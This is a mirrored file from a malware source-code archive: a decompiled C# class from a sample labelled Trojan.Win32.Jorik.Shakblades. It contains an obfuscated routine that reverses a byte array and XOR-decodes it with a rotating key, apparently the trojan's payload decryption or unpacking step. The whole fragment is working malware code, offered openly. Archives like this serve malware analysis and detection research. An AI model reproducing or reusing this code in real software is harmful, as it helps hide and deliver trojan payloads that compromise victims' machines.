mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
f2ac1ece55
add
35 lines
1.3 KiB
C#
35 lines
1.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Project2012.Class5
|
|
// Assembly: Project2012, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 918BE613-C3D9-4541-A951-74986CE3E2B6
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.Shakblades.gij-57943362aa78959dab7e573ae39c6291a304d5aec038204aa341ccf9dd6cadd8.exe
|
|
|
|
using System;
|
|
using System.Text;
|
|
|
|
namespace Project2012
|
|
{
|
|
internal class Class5
|
|
{
|
|
public static byte[] Lachapelle(byte[] bytearray, string propozitie)
|
|
{
|
|
Array.Reverse((Array) bytearray);
|
|
Class2.kuyititigy = bytearray[bytearray.Length - 1];
|
|
Class3.grgrgrwgerg = Encoding.Default.GetBytes(propozitie);
|
|
Class4.vsfgstgertyer = new byte[bytearray.Length + 1];
|
|
int index1 = 0;
|
|
for (int index2 = 0; index2 <= bytearray.Length - 1; ++index2)
|
|
{
|
|
Class4.vsfgstgertyer[index2] = Convert.ToByte((int) bytearray[index2] ^ (int) Class2.kuyititigy ^ (int) Class3.grgrgrwgerg[index1]);
|
|
Array.Reverse((Array) Class3.grgrgrwgerg);
|
|
if (index1 == Class3.grgrgrwgerg.Length - 1)
|
|
index1 = 0;
|
|
else
|
|
++index1;
|
|
}
|
|
Array.Resize<byte>(ref Class4.vsfgstgertyer, Class4.vsfgstgertyer.Length - 2);
|
|
return Class4.vsfgstgertyer;
|
|
}
|
|
}
|
|
}
|